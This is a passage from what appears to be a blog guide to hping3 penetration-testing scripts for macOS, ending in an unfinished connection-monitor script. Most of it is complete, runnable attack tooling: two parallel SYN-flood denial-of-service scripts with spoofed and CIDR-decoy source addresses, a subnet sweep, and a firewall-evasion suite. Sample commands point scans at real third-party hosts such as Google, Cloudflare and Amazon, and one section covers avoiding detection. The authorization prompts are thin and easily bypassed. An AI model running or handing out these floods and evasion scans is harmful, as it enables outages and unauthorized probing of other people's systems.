./source_port_scan.sh cloudflare.com 443 53 5         # Send 5 packets for reliability

# Advanced Examples
./source_port_scan.sh 192.168.1.1 22 123 3           # SSH scan with NTP source port
./source_port_scan.sh internalserver.local 3306 68 2  # MySQL scan with DHCP client port
./source_port_scan.sh api.example.com 8080 1337 3     # Custom source port 1337

# Testing Web Servers
./source_port_scan.sh mywebsite.com 80 53 3          # HTTP with DNS source
./source_port_scan.sh mywebsite.com 443 53 3         # HTTPS with DNS source

# Testing Multiple Trusted Ports on Same Target
./source_port_scan.sh target.com 80 53 2             # DNS source port
./source_port_scan.sh target.com 80 20 2             # FTP-DATA source port
./source_port_scan.sh target.com 80 123 2            # NTP source port
./source_port_scan.sh target.com 80 67 2             # DHCP source port

# Internal Network Testing
./source_port_scan.sh 10.0.1.100 445 53 3            # SMB with DNS source
./source_port_scan.sh 10.0.1.100 3389 53 3           # RDP with DNS source

# Testing Popular Services
./source_port_scan.sh google.com 80 53 2             # Google HTTP
./source_port_scan.sh facebook.com 443 53 2          # Facebook HTTPS
./source_port_scan.sh amazon.com 443 20 2            # Amazon with FTP-DATA source

# Testing DNS Servers
./source_port_scan.sh 8.8.8.8 53 123 2               # Google DNS with NTP source
./source_port_scan.sh 1.1.1.1 53 20 2                # Cloudflare DNS with FTP-DATA source

# Help Command
./source_port_scan.sh --help                         # Show usage information
./source_port_scan.sh -h                             # Alternative help flag

Common Trusted Source Ports:
– **53**: DNS – Often allowed through firewalls
– **20**: FTP-DATA – May be trusted for FTP connections
– **123**: NTP – Network Time Protocol, often allowed
– **67/68**: DHCP – Dynamic Host Configuration Protocol

Script 8: SYN Flood Attack (Multi-Process with Source IP Decoy)

Purpose:
Performs multi-process SYN flood attacks for authorized DoS testing. This script can cause significant load – especially when used with decoy options.

Create the Script:

cat > ./syn_flood_attack.sh << 'EOF'
#!/bin/zsh

# Function to generate a random IP from a CIDR block
generate_random_ip_from_cidr() {
    local cidr=$1
    local ip_base=${cidr%/*}
    local cidr_bits=${cidr#*/}
    
    # Convert IP to integer
    local ip_parts=(${(s:.:)ip_base})
    local ip_int=$(( (ip_parts[1] << 24) + (ip_parts[2] << 16) + (ip_parts[3] << 8) + ip_parts[4] ))
    
    # Calculate host bits and range
    local host_bits=$((32 - cidr_bits))
    local max_hosts=$((2 ** host_bits - 1))
    
    # Generate random offset within the range
    local random_offset=$((RANDOM % (max_hosts + 1)))
    
    # Add offset to base IP
    local new_ip_int=$((ip_int + random_offset))
    
    # Convert back to IP format
    local octet1=$(( (new_ip_int >> 24) & 255 ))
    local octet2=$(( (new_ip_int >> 16) & 255 ))
    local octet3=$(( (new_ip_int >> 8) & 255 ))
    local octet4=$(( new_ip_int & 255 ))
    
    echo "${octet1}.${octet2}.${octet3}.${octet4}"
}

syn_flood_attack() {
    local target=$1
    local port=$2
    local packet_count=$3
    local processes=$4
    local source_cidr=$5  # Optional CIDR block for source IP randomization
    
    if [ -z "$target" ] || [ -z "$port" ] || [ -z "$packet_count" ] || [ -z "$processes" ]; then
        echo "Usage: syn_flood_attack <target> <port> <packet_count> <processes> [source_cidr]"
        echo "Example: syn_flood_attack example.com 80 1000 4"
        echo "Example with CIDR: syn_flood_attack example.com 80 1000 4 192.168.1.0/24"
        echo ""
        echo "WARNING: This is a DoS attack tool!"
        echo "Only use on systems you own or have explicit permission to test!"
        return 1
    fi
    
    echo "=========================================="
    echo "           SYN FLOOD ATTACK"
    echo "=========================================="
    echo "Target: $target:$port"
    echo "Total packets: $packet_count"
    echo "Processes: $processes"
    echo "Packets per process: $((packet_count / processes))"
    if [ -n "$source_cidr" ]; then
        echo "Source CIDR: $source_cidr"
    else
        echo "Source IPs: Random (--rand-source)"
    fi
    echo ""
    echo "⚠️  WARNING: This will perform a SYN flood attack!"
    echo "⚠️  Only use on systems you own or have explicit permission to test!"
    echo "⚠️  Unauthorized DoS attacks are illegal!"
    echo ""
    echo -n "Do you have authorization to test this target? (type 'YES' to continue): "
    read confirm
    
    if [[ "$confirm" != "YES" ]]; then
        echo "❌ Attack aborted - explicit authorization required"
        return 1
    fi
    
    local packets_per_process=$((packet_count / processes))
    local remaining_packets=$((packet_count % processes))
    
    echo "✅ Starting SYN flood with $processes processes..."
    echo "📊 Monitor system resources during attack"
    
    # Create log directory
    local log_dir="/tmp/syn_flood_$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$log_dir"
    
    # Start background processes
    local pids=()
    for ((i=1; i<=processes; i++)); do
        local current_packets=$packets_per_process
        # Add remaining packets to the last process
        if [ $i -eq $processes ]; then
            current_packets=$((packets_per_process + remaining_packets))
        fi
        
        echo "🚀 Starting process $i with $current_packets packets"
        (
            echo "Process $i started at $(date)" > "$log_dir/process_$i.log"
            
            if [ -n "$source_cidr" ]; then
                # Use CIDR block for source IP randomization
                echo "Using source CIDR: $source_cidr" >> "$log_dir/process_$i.log"
                
                # Send packets with randomized source IPs from CIDR block
                # We'll send packets in smaller batches to vary the source IP
                local batch_size=10
                local sent=0
                
                while [ $sent -lt $current_packets ]; do
                    local remaining=$((current_packets - sent))
                    local this_batch=$((remaining < batch_size ? remaining : batch_size))
                    local source_ip=$(generate_random_ip_from_cidr "$source_cidr")
                    
                    hping3 -S -p $port -a $source_ip -c $this_batch --flood $target >> "$log_dir/process_$i.log" 2>&1
                    sent=$((sent + this_batch))
                done
            else
                # Use completely random source IPs
                echo "Using random source IPs" >> "$log_dir/process_$i.log"
                hping3 -S -p $port --rand-source -c $current_packets --flood $target >> "$log_dir/process_$i.log" 2>&1
            fi
            
            echo "Process $i completed at $(date)" >> "$log_dir/process_$i.log"
            echo "✅ Process $i completed ($current_packets packets sent)"
        ) &
        
        pids+=($!)
    done
    
    echo "⏳ Waiting for all processes to complete..."
    echo "💡 You can monitor progress with: tail -f $log_dir/process_*.log"
    
    # Wait for all processes and show progress
    local completed=0
    while [ $completed -lt $processes ]; do
        completed=0
        for pid in "${pids[@]}"; do
            if ! kill -0 $pid 2>/dev/null; then
                ((completed++))
            fi
        done
        
        echo "📈 Progress: $completed/$processes processes completed"
        sleep 2
    done
    
    echo "🎯 SYN flood attack completed!"
    echo "📋 Logs saved in: $log_dir"
    echo "🧹 Clean up logs with: rm -rf $log_dir"
}

# Check if script is being sourced or executed directly
if [[ "${(%):-%x}" == "${0}" ]]; then
    syn_flood_attack "$@"
fi
EOF

chmod +x ./syn_flood_attack.sh

How to Run:

# Basic Usage Syntax:
./syn_flood_attack.sh <target> <port> <packet_count> <processes>

# 1. Test against a local test server (SAFE)
# Send 1000 SYN packets to localhost port 8080 using 4 parallel processes
./syn_flood_attack.sh localhost 8080 1000 4

# 2. Test your own web server
# Send 5000 packets to your own server on port 80 using 10 processes
./syn_flood_attack.sh your-test-server.com 80 5000 10

# 3. Small-scale test
# Send only 100 packets using 2 processes for minimal testing
./syn_flood_attack.sh 127.0.0.1 3000 100 2

# 4. Stress test with more packets
# Send 10000 packets to port 443 using 20 parallel processes
./syn_flood_attack.sh test.example.local 443 10000 20

# 5. Create a random decoy attack using ip addresses from a specified CIDR block. This has the highest potential to cause harm. Authorised use only!
./syn_flood_attack.sh target.com 80 1000 4 192.168.0.0/16
./syn_flood_attack.sh target.com 80 1000 4 10.0.0.0/8

# Parameters:
# <target>: IP address or hostname (localhost, 192.168.1.100, test-server.local)
# <port>: Target port number (80 for HTTP, 443 for HTTPS, 22 for SSH)
# <packet_count>: Total number of SYN packets to send (1000, 5000, etc.)
# <processes>: Number of parallel hping3 processes to use (4, 10, etc.)

Example Output:

 ./syn_flood_attack.sh localhost 8080 1000 4

==========================================
           SYN FLOOD ATTACK
==========================================
Target: localhost:8080
Total packets: 1000
Processes: 4
Packets per process: 250

⚠️  WARNING: This will perform a SYN flood attack!
⚠️  Only use on systems you own or have explicit permission to test!
⚠️  Unauthorized DoS attacks are illegal!

Do you have authorization to test this target? (type 'YES' to continue): YES
✅ Starting SYN flood with 4 processes...
📊 Monitor system resources during attack
🚀 Starting process 1 with 250 packets
🚀 Starting process 2 with 250 packets
🚀 Starting process 3 with 250 packets
🚀 Starting process 4 with 250 packets
⏳ Waiting for all processes to complete...
💡 You can monitor progress with: tail -f /tmp/syn_flood_20250923_114710/process_*.log

Safety Features:
– Explicit authorization confirmation required
– Process monitoring and logging
– Progress tracking with visual indicators
– Automatic log cleanup instructions

Parameters Explained:
**target**: Target hostname/IP address
**port**: Target port number
**packet_count**: Total packets to send
**processes**: Number of parallel processes

Script 9: Comprehensive Network Discovery

Purpose:
Performs comprehensive network discovery combining ICMP and TCP techniques to map active hosts and services across a network range.

Create the Script:

cat > ./network_discovery.sh << 'EOF'
#!/bin/zsh

network_discovery() {
    local network=$1
    local start_ip=${2:-1}
    local end_ip=${3:-254}
    local test_ports=${4:-"22,80,443"}
    
    if [ -z "$network" ]; then
        echo "Usage: network_discovery <network> [start_ip] [end_ip] [test_ports]"
        echo "Example: network_discovery 192.168.1 1 100 '22,80,443,8080'"
        return 1
    fi
    
    echo "🔍 Comprehensive Network Discovery"
    echo "=================================="
    echo "Network: $network.$start_ip-$end_ip"
    echo "Test ports: $test_ports"
    echo ""
    
    # Create results directory
    local results_dir="/tmp/network_discovery_$(date +%Y%m%d_%H%M%S)"
    mkdir -p "$results_dir"
    
    # Phase 1: ICMP Discovery
    echo "📡 Phase 1: ICMP Host Discovery"
    echo "==============================="
    local icmp_results="$results_dir/icmp_results.txt"
    
    for i in $(seq $start_ip $end_ip); do
        (hping3 -1 -c 1 $network.$i 2>&1 | grep -E "(bytes from|icmp.*seq=)" && echo "$network.$i" >> "$icmp_results") &
        
        # Limit concurrent processes on macOS
        if (( i % 20 == 0 )); then
            wait
            echo "  Tested up to $network.$i..."
        fi
    done
    wait
    
    if [ -s "$icmp_results" ]; then
        echo "✅ ICMP-responsive hosts:"
        cat "$icmp_results" | while read host; do
            echo "  - $host [ICMP]"
        done
    else
        echo "❌ No ICMP-responsive hosts found"
    fi
    
    echo ""
    
    # Phase 2: TCP Discovery
    echo "🚪 Phase 2: TCP Port Discovery"
    echo "=============================="
    local tcp_results="$results_dir/tcp_results.txt"
    
    # Zsh-compatible array splitting
    PORT_ARRAY=(${(s:,:)test_ports})
    
    for i in $(seq $start_ip $end_ip); do
        for port in "${PORT_ARRAY[@]}"; do
            (hping3 -S -p $port -c 1 $network.$i 2>&1 | grep "flags=SA" && echo "$network.$i:$port" >> "$tcp_results") &
        done
        
        # Limit concurrent processes
        if (( i % 10 == 0 )); then
            wait
            echo "  Tested up to $network.$i..."
        fi
    done
    wait
    
    if [ -s "$tcp_results" ]; then
        echo "✅ TCP-responsive hosts and ports:"
        cat "$tcp_results" | while read host_port; do
            echo "  - $host_port [TCP]"
        done
    else
        echo "❌ No TCP-responsive hosts found"
    fi
    
    echo ""
    echo "📊 Discovery Summary"
    echo "==================="
    echo "Results saved in: $results_dir"
    echo "ICMP hosts: $([ -s "$icmp_results" ] && wc -l < "$icmp_results" || echo 0)"
    echo "TCP services: $([ -s "$tcp_results" ] && wc -l < "$tcp_results" || echo 0)"
    echo ""
    echo "🧹 Clean up with: rm -rf $results_dir"
}

# Zsh-compatible check for direct execution
if [[ "${(%):-%N}" == "${0}" ]] || [[ "$ZSH_EVAL_CONTEXT" == "toplevel" ]]; then
    network_discovery "$@"
fi
EOF

chmod +x ./network_discovery.sh

How to Run:

# Basic Usage - Scan entire subnet with default ports (22,80,443)
./network_discovery.sh 192.168.1

# Scan specific IP across a port range
./network_discovery.sh 192.168.1 1 50

# Scan specific IP using a custom port list
./network_discovery.sh 192.168.1 1 100 '22,80,443,8080,3306'

# Home Network Scans
./network_discovery.sh 192.168.1 1 20 '80,443'                    # Router and devices
./network_discovery.sh 192.168.0 1 30 '22,80,443,8080'           # Alternative subnet
./network_discovery.sh 10.0.0 1 50 '22,80,443,3389,445'          # Corporate network range

# Service-Specific Discovery
./network_discovery.sh 192.168.1 1 254 '80,443,8080,8443'        # Web servers only
./network_discovery.sh 192.168.1 1 100 '22'                       # SSH servers only
./network_discovery.sh 10.0.0 1 50 '3306,5432,27017,6379'        # Database servers
./network_discovery.sh 192.168.1 1 100 '445,3389,139'            # Windows machines
./network_discovery.sh 192.168.1 1 50 '3000,5000,8000,9000'      # Dev servers

# Quick Targeted Scans
./network_discovery.sh 192.168.1 1 10                             # First 10 IPs, default ports
./network_discovery.sh 192.168.1 100 100 '21,22,23,25,80,110,443,445,3306,3389,5900,8080'  # Single host, many ports
./network_discovery.sh 172.16.0 1 30 '80,443'                    # Fast web discovery

# Your Local Network (based on your IP: 10.223.23.133)
./network_discovery.sh 10.223.23 130 140 '22,80,443'             # Scan near your IP
./network_discovery.sh 10.223.23 1 254 '80,443'                  # Full subnet web scan
./network_discovery.sh 10.223.23 133 133 '1-65535'               # Scan all ports on your IP

# Localhost Testing
./network_discovery.sh 127.0.0 1 1 '22,80,443,3000,8080'         # Test on localhost

# Advanced Usage with sudo (for better ICMP results)
sudo ./network_discovery.sh 192.168.1 1 50
sudo ./network_discovery.sh 10.223.23 130 140 '22,80,443,8080'

# Comprehensive port scan
./network_discovery.sh 192.168.1 1 20 '21,22,23,25,53,80,110,143,443,445,993,995,1433,3306,3389,5432,5900,6379,8080,8443,27017'

# Chain with other commands
./network_discovery.sh 192.168.1 1 10 && echo "Scan complete"
./network_discovery.sh 192.168.1 1 20 '22' | tee scan_results.txt

# View and manage results
ls -la /tmp/network_discovery_*                                   # List all scan results
cat /tmp/network_discovery_*/icmp_results.txt                     # View ICMP results
cat /tmp/network_discovery_*/tcp_results.txt                      # View TCP results
rm -rf /tmp/network_discovery_*                                   # Clean up all results

### LOCAL MACHINE EXAMPLE
# Targeting your local machine and common services. Let me first check what services are running on your machine:
netstat -an | grep LISTEN | grep -E '\.([0-9]+)\s' | awk '{print $4}' | sed 's/.*\.//' | sort -u | head -20
18313
5000
53
55296
61611
65535
7000
9000
9010
9277

### Check your actual IP address to create working examples:
ifconfig | grep "inet " | grep -v 127.0.0.1 | awk '{print $2}' | head -1
10.223.23.133
### Now let's test with your actual IP and the ports that are listening. Note that hping3 often needs sudo privileges for proper ICMP and TCP SYN scanning:
sudo ./network_discovery.sh 10.223.23 133 133 '5000,7000,9000,9010,53'


### EXAMPLES THAT WILL RETURN SUCCESSFUL RESULTS

# 1. Scan Google's servers (known to respond)
sudo ./network_discovery.sh 142.251.216 78 78 '80,443'
sudo ./network_discovery.sh 142.251.216 1 10 '80,443'

# 2. Scan Cloudflare DNS (highly available)
sudo ./network_discovery.sh 1.1.1 1 1 '53,80,443'
sudo ./network_discovery.sh 1.0.0 1 1 '53,80,443'

# 3. Scan popular DNS servers
sudo ./network_discovery.sh 8.8.8 8 8 '53,443'              # Google DNS
sudo ./network_discovery.sh 8.8.4 4 4 '53,443'              # Google DNS secondary
sudo ./network_discovery.sh 208.67.222 222 222 '53,443'     # OpenDNS

# 4. Scan your local gateway (should respond on some ports)
sudo ./network_discovery.sh 10.223.22 1 1 '80,443,22,53,8080'

# 5. Scan your local subnet for common services
sudo ./network_discovery.sh 10.223.23 1 10 '22,80,443,445,3389,5900'
sudo ./network_discovery.sh 10.223.23 130 140 '80,443,22,3389'

# 6. Quick test with well-known servers
sudo ./network_discovery.sh 93.184.216 34 34 '80,443'      # example.com
sudo ./network_discovery.sh 104.17.113 106 106 '80,443'    # Cloudflare IP

# 7. Scan for web servers in your network
sudo ./network_discovery.sh 10.223.23 1 254 '80,443'

# 8. Multiple reliable targets in one scan
sudo ./network_discovery.sh 1.1.1 1 2 '53,80,443'          # Cloudflare DNS range

# 9. Test against localhost services (based on your running ports)
sudo ./network_discovery.sh 127.0.0 1 1 '5000,7000,9000,9010,53'

# 10. Comprehensive scan of known responsive range
sudo ./network_discovery.sh 142.251.216 70 80 '80,443,22'

Parameters Explained:
**network** (required): Network base (e.g., “192.168.1”)
**start_ip** (optional, default: 1): Starting host number
**end_ip** (optional, default: 254): Ending host number
**test_ports** (optional, default: “22,80,443”): Comma-separated port list

Discovery Phases:
1. **ICMP Discovery**: Tests basic connectivity with ping
2. **TCP Discovery**: Tests specific services on each host
3. **Results Analysis**: Provides comprehensive summary

Script 10: Firewall Evasion Test Suite

Purpose:
Performs a comprehensive battery of firewall evasion techniques to test security controls and identify potential bypass methods.

Create the Script:

cat > ./firewall_evasion_test.sh << 'EOF'
#!/bin/zsh

firewall_evasion_test() {
    local target=$1
    local port=${2:-80}
    
    if [ -z "$target" ]; then
        echo "Usage: firewall_evasion_test  [port]"
        echo "Example: firewall_evasion_test example.com 443"
        return 1
    fi
    
    echo "🛡️ Comprehensive Firewall Evasion Test Suite"
    echo "============================================="
    echo "Target: $target:$port"
    echo "Testing multiple evasion techniques..."
    echo ""
    
    # Test 1: Normal SYN scan (baseline)
    echo "🔍 Test 1: Normal SYN Scan (Baseline)"
    echo "====================================="
    result1=$(hping3 -S -p $port -c 1 $target 2>&1)
    echo "$result1"
    if echo "$result1" | grep -q "flags=SA"; then
        echo "✅ BASELINE: Port appears OPEN"
    else
        echo "❌ BASELINE: Port appears CLOSED/FILTERED"
    fi
    echo ""
    
    # Test 2: Source port 53 (DNS)
    echo "🔍 Test 2: DNS Source Port Spoofing (53)"
    echo "========================================"
    result2=$(hping3 -S -p $port -s 53 -c 1 $target 2>&1)
    echo "$result2"
    if echo "$result2" | grep -q "flags=SA"; then
        echo "✅ DNS SPOOF: Bypass successful!"
    else
        echo "❌ DNS SPOOF: No bypass detected"
    fi
    echo ""
    
    # Test 3: Source port 20 (FTP-DATA)
    echo "🔍 Test 3: FTP-DATA Source Port Spoofing (20)"
    echo "=============================================="
    result3=$(hping3 -S -p $port -s 20 -c 1 $target 2>&1)
    echo "$result3"
    if echo "$result3" | grep -q "flags=SA"; then
        echo "✅ FTP SPOOF: Bypass successful!"
    else
        echo "❌ FTP SPOOF: No bypass detected"
    fi
    echo ""
    
    # Test 4: Fragmented packets
    echo "🔍 Test 4: Packet Fragmentation"
    echo "==============================="
    result4=$(hping3 -S -p $port -f -c 1 $target 2>&1)
    echo "$result4"
    if echo "$result4" | grep -q "flags=SA"; then
        echo "✅ FRAGMENTATION: Bypass successful!"
    else
        echo "❌ FRAGMENTATION: No bypass detected"
    fi
    echo ""
    
    # Test 5: FIN scan
    echo "🔍 Test 5: FIN Scan Evasion"
    echo "==========================="
    result5=$(hping3 -F -p $port -c 1 $target 2>&1)
    echo "$result5"
    if ! echo "$result5" | grep -q "flags=R" && ! echo "$result5" | grep -q "ICMP"; then
        echo "✅ FIN SCAN: Potential bypass (no response)"
    else
        echo "❌ FIN SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 6: NULL scan
    echo "🔍 Test 6: NULL Scan Evasion"
    echo "============================"
    result6=$(hping3 -p $port -c 1 $target 2>&1)
    echo "$result6"
    if ! echo "$result6" | grep -q "flags=R" && ! echo "$result6" | grep -q "ICMP"; then
        echo "✅ NULL SCAN: Potential bypass (no response)"
    else
        echo "❌ NULL SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 7: XMAS scan
    echo "🔍 Test 7: XMAS Scan Evasion"
    echo "============================"
    result7=$(hping3 -F -P -U -p $port -c 1 $target 2>&1)
    echo "$result7"
    if ! echo "$result7" | grep -q "flags=R" && ! echo "$result7" | grep -q "ICMP"; then
        echo "✅ XMAS SCAN: Potential bypass (no response)"
    else
        echo "❌ XMAS SCAN: No bypass detected"
    fi
    echo ""
    
    # Test 8: Random source addresses
    echo "🔍 Test 8: Random Source Address"
    echo "================================"
    result8=$(hping3 -S -p $port --rand-source -c 3 $target 2>&1)
    echo "$result8"
    if echo "$result8" | grep -q "flags=SA"; then
        echo "✅ RANDOM SOURCE: Bypass successful!"
    else
        echo "❌ RANDOM SOURCE: No bypass detected"
    fi
    echo ""
    
    # Summary
    echo "📊 Evasion Test Summary"
    echo "======================="
    echo "Target: $target:$port"
    echo "Tests completed: 8"
    echo ""
    echo "Potential bypasses detected:"
    [[ "$result2" =~ "flags=SA" ]] && echo "  ✅ DNS source port spoofing"
    [[ "$result3" =~ "flags=SA" ]] && echo "  ✅ FTP-DATA source port spoofing"
    [[ "$result4" =~ "flags=SA" ]] && echo "  ✅ Packet fragmentation"
    [[ ! "$result5" =~ "flags=R" && ! "$result5" =~ "ICMP" ]] && echo "  ✅ FIN scan stealth"
    [[ ! "$result6" =~ "flags=R" && ! "$result6" =~ "ICMP" ]] && echo "  ✅ NULL scan stealth"
    [[ ! "$result7" =~ "flags=R" && ! "$result7" =~ "ICMP" ]] && echo "  ✅ XMAS scan stealth"
    [[ "$result8" =~ "flags=SA" ]] && echo "  ✅ Random source addressing"
    
    echo ""
    echo "🔒 Recommendations:"
    echo "  - Review firewall rules for source port filtering"
    echo "  - Enable stateful packet inspection"
    echo "  - Configure fragment reassembly"
    echo "  - Monitor for stealth scan patterns"
}

if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then
    firewall_evasion_test "$@"
fi
EOF

chmod +x ./firewall_evasion_test.sh

How to Run:


# Test firewall evasion on port 80
sudo ./firewall_evasion_test.sh example.com

# Test firewall evasion on HTTPS port
sudo ./firewall_evasion_test.sh example.com 443

Evasion Techniques Tested:
1. **Baseline SYN scan**: Normal connection attempt
2. **DNS source port spoofing**: Uses port 53 as source
3. **FTP-DATA source port spoofing**: Uses port 20 as source
4. **Packet fragmentation**: Splits packets to evade inspection
5. **FIN scan**: Uses FIN flag for stealth
6. **NULL scan**: No flags set for evasion
7. **XMAS scan**: Multiple flags for confusion
8. **Random source addressing**: Obscures attack origin

Important Usage Notes:

macOS-Specific Considerations:
– **Root privileges required**: Most scripts need `sudo` for raw socket access
– **Process limits**: macOS limits concurrent processes, scripts include throttling
– **Firewall interference**: macOS firewall may block outgoing packets
– **Network interfaces**: Scripts auto-detect primary interface

Performance Optimization:
– Use appropriate delays to avoid overwhelming targets
– Limit concurrent processes on macOS (typically 20-50)
– Monitor system resources during intensive scans
– Use temporary files for result collection

Detection Avoidance:

# Slow scanning to avoid detection
sudo ./tcp_syn_scan.sh example.com 1 100 5

# Random timing patterns
sudo ./source_port_scan.sh example.com 80 53 1

Integration with Other Tools:

# Combine with nmap for verification
sudo ./common_ports_scan.sh example.com
nmap -sS example.com

# Use with tcpdump for packet analysis
sudo tcpdump -i en0 host example.com &
sudo ./tcp_syn_ping.sh example.com


# Solution: Use sudo for raw socket access
sudo ./script_name.sh

Command Not Found:


# Solution: Verify hping3 installation
brew install hping
which hping3

Network Interface Issues:


# Solution: Specify interface manually
hping3 -I en0 -S -p 80 example.com

Script Debugging:


# Enable verbose output
set -x
source ./script_name.sh

# Check script syntax
zsh -n ./script_name.sh

Legal and Ethical Guidelines:

Before You Begin:
– ✅ Obtain written authorization from system owners
– ✅ Define clear scope and boundaries
– ✅ Establish communication channels
– ✅ Plan for incident response
– ✅ Document all activities

During Testing:
– 🔍 Monitor system impact continuously
– ⏸️ Stop immediately if unauthorized access is gained
– 📝 Document all findings and methods
– 🚫 Do not access or modify data
– ⚠️ Report critical vulnerabilities promptly

After Testing:
– 📋 Provide comprehensive reports
– 🗑️ Securely delete all collected data
– 🤝 Follow responsible disclosure practices
– 📚 Share lessons learned (with permission)

Conclusion

This comprehensive hping3 guide provides 10 essential penetration testing scripts specifically optimized for macOS systems. Each script includes detailed explanations, parameter descriptions, and practical examples using example.com as the target.

Key Takeaways:
– **Authorization is mandatory** – Never test without explicit permission
– **macOS optimization** – Scripts include platform-specific considerations
– **Comprehensive coverage** – From basic discovery to advanced evasion
– **Safety features** – Built-in protections and confirmation prompts
– **Educational value** – Detailed explanations for learning

Next Steps:
1. Set up your macOS environment with the installation steps
2. Create the script directory and download the scripts
3. Practice on authorized targets or lab environments
4. Integrate with other security tools for comprehensive testing
5. Develop your own custom scripts based on these examples

Remember: These tools are powerful and should be used responsibly. Always prioritize ethical considerations and legal compliance in your security testing activities.

Official Documentation:
– [hping3 Official Website](http://www.hping.org/)
– [hping3 Manual Page](https://linux.die.net/man/8/hping3)

Related Tools:
– **nmap**: Network discovery and port scanning
– **masscan**: High-speed port scanner
– **zmap**: Internet-wide network scanner
– **tcpdump**: Packet capture and analysis

Learning Resources:
– OWASP Testing Guide
– NIST Cybersecurity Framework
– CEH (Certified Ethical Hacker) materials
– OSCP (Offensive Security Certified Professional) training

Script Summary Table:

This guide provides everything needed to perform professional-grade penetration testing with hping3 on macOS systems while maintaining ethical and legal standards.

Testing your sites SYN flood resistance using hping3 in parallel

A SYN flood test using hping3 that allows you to specify the number of SYN packets to send and scales horizontally with a specific number of processes can be created using a Bash script with the xargs command. This approach allows you to distribute the workload across multiple processes for better performance.

The Script

This script uses hping3 to perform a SYN flood attack with a configurable packet count and number of parallel processes.

cat > ./syn_flood_parallel.sh << 'EOF'
#!/bin/bash

# A simple script to perform a SYN flood test using hping3,
# with configurable packet count, parallel processes, and optional source IP randomization.

# --- Configuration ---
TARGET_IP=$1
TARGET_PORT=$2
PACKET_COUNT_TOTAL=$3
PROCESSES=$4
RANDOMIZE_SOURCE=${5:-true}  # Default to true if not specified

# --- Usage Message ---
if [ -z "$TARGET_IP" ] || [ -z "$TARGET_PORT" ] || [ -z "$PACKET_COUNT_TOTAL" ] || [ -z "$PROCESSES" ]; then
    echo "Usage: $0 <TARGET_IP> <TARGET_PORT> <PACKET_COUNT_TOTAL> <PROCESSES> [RANDOMIZE_SOURCE]"
    echo ""
    echo "Parameters:"
    echo "  TARGET_IP           - Target IP address or hostname"
    echo "  TARGET_PORT         - Target port number (1-65535)"
    echo "  PACKET_COUNT_TOTAL  - Total number of SYN packets to send"
    echo "  PROCESSES           - Number of parallel processes (2-10 recommended)"
    echo "  RANDOMIZE_SOURCE    - true/false (optional, default: true)"
    echo ""
    echo "Examples:"
    echo "  $0 192.168.1.1 80 100000 4           # With randomized source IPs (default)"
    echo "  $0 192.168.1.1 80 100000 4 true      # Explicitly enable source IP randomization"
    echo "  $0 192.168.1.1 80 100000 4 false     # Use actual source IP (no randomization)"
    exit 1
fi

# --- Main Logic ---
echo "========================================"
echo "Starting SYN flood test on $TARGET_IP:$TARGET_PORT"
echo "Sending $PACKET_COUNT_TOTAL SYN packets with $PROCESSES parallel processes."
echo "Source IP randomization: $RANDOMIZE_SOURCE"
echo "========================================"

# Calculate packets per process
PACKETS_PER_PROCESS=$((PACKET_COUNT_TOTAL / PROCESSES))

# Build hping3 command based on randomization option
if [ "$RANDOMIZE_SOURCE" = "true" ]; then
    echo "Using randomized source IPs (--rand-source)"
    # Use seq and xargs to parallelize the hping3 command with random source IPs
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --rand-source --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
else
    echo "Using actual source IP (no randomization)"
    # Use seq and xargs to parallelize the hping3 command without source randomization
    seq 1 $PROCESSES | xargs -I {} -P $PROCESSES bash -c "hping3 -S -p $TARGET_PORT --fast -c $PACKETS_PER_PROCESS $TARGET_IP"
fi

echo ""
echo "========================================"
echo "SYN flood test complete."
echo "Total packets sent: $PACKET_COUNT_TOTAL"
echo "========================================"

EOF

chmod +x ./syn_flood_parallel.sh

Example Usage:

# Default behavior - randomized source IPs (parameter 5 defaults to true)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4

# Explicitly enable source IP randomization
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 true

# Disable source IP randomization (use actual source IP)
./syn_flood_parallel.sh 192.168.1.1 80 10000 4 false

# High-volume test with randomized IPs
./syn_flood_parallel.sh example.com 443 100000 8 true

# Test without IP randomization (easier to trace/debug)
./syn_flood_parallel.sh testserver.local 22 5000 2 false

Explanation of the Parameters:

Parameter 1: TARGET_IP

The target IP address or hostname
Examples: 192.168.1.1, example.com, 10.0.0.5

Parameter 2: TARGET_PORT

The target port number (1-65535)
Common: 80 (HTTP), 443 (HTTPS), 22 (SSH), 8080

Parameter 3: PACKET_COUNT_TOTAL

Total number of SYN packets to send
Range: Any positive integer (e.g., 1000 to 1000000)

Parameter 4: PROCESSES

Number of parallel hping3 processes to spawn
Recommended: 2-10 (depending on CPU cores)

Parameter 5: RANDOMIZE_SOURCE (OPTIONAL)

true: Use randomized source IPs (–rand-source flag)
Makes packets appear from random IPs, harder to block
false: Use actual source IP (no randomization)
Easier to trace and debug, simpler firewall rules
Default: true (if parameter not specified)

Important Considerations ⚠️

• Permissions: hping3 requires root or superuser privileges to craft and send raw packets. You’ll need to run this script with sudo.

• Legal and Ethical Use: This tool is for ethical and educational purposes only. Using this script to perform a SYN flood attack on a network or system you do not own or have explicit permission to test is illegal. Use it in a controlled lab environment.

Macbook: Return a list of processes using a specific remote port number

I find this script useful for debugging which processes are talking to which remote port.

cat > ~/netmon.sh << 'EOF'
#!/bin/zsh

# Network Connection Monitor with Color Coding
# Shows TCP/UDP connections with state and process info
# Refreshes every 5 seconds
# Usage: ./netmon.sh [--port PORT] [--ip IP_ADDRESS]

# Parse command line arguments
FILTER_PORT=""
FILTER_IP=""

while [[ $# -gt 0 ]]; do
    case $1 in
        --port|-p)
            FILTER_PORT="$2"
            shift 2
            ;;
        --ip|-i)
            FILTER_IP="$2"
            shift 2
            ;;
        --help|-h)
            echo "Usage: $0 [OPTIONS]"
            echo "Options:"
            echo "  --port, -p PORT    Filter by remote port"
            echo "  --ip, -i IP        Filter by remote IP address"
            echo "  --help, -h         Show this help message"
            echo ""
            echo "Examples:"
            echo "  $0 --port 443      Show only connections to port 443"
            echo "  $0 --ip 1.1.1.1    Show only connections to IP 1.1.1.1"
            echo "  $0 -p 80 -i 192.168.1.1  Show connections to 192.168.1.1:80"
            exit 0
            ;;
        *)
            echo "Unknown option: $1"
            echo "Use --help for usage information"
            exit 1
            ;;
    esac
done

# Color definitions
RED='\033[0;31m'
GREEN='\033[0;32m'
